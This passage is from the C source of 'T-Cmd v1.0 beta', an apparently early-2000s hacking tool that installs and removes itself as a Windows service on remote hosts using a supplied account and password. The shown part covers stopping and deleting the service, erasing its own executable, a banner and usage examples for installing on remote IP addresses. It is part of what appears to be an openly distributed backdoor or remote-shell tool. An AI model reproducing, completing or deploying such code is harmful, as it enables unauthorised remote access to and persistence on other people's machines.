{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !/n");
}
else
{
printf("Failure !/n");
}
}
else
{
printf("Failure !/n");
}
}
}
else
{
printf("Query Failure !/n");
}
printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !/n");
}
else
{
printf("Success !/n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !/n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !/n");
}
else
{
printf("Success !/n");
}
FindClose(hSearch);
}
return ;
}
void Start()
{
printf("/n");
printf("/t/t---[ T-Cmd v1.0 beta, by TOo2y ]---/n");
printf("/t/t---[ E-mail: TOo2y@safechina.net ]---/n");
printf("/t/t---[ HomePage: www.safechina.net ]---/n");
printf("/t/t---[ Date: 02-05-2003 ]---/n/n");
return ;
}
void Usage()
{
printf("Attention:/n");
printf(" Be careful with this software, Good luck !/n/n");
printf("Usage Show:/n");
printf(" T-Cmd -Help/n");
printf(" T-Cmd -Install [RemoteHost] [Account] [Password]/n");
printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]/n/n");
printf("Example:/n");
printf(" T-Cmd -Install (Install in the localhost)/n");
printf(" T-Cmd -Remove (Remove in the localhost)/n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)/n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)/n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)/n/n");
return ;
}




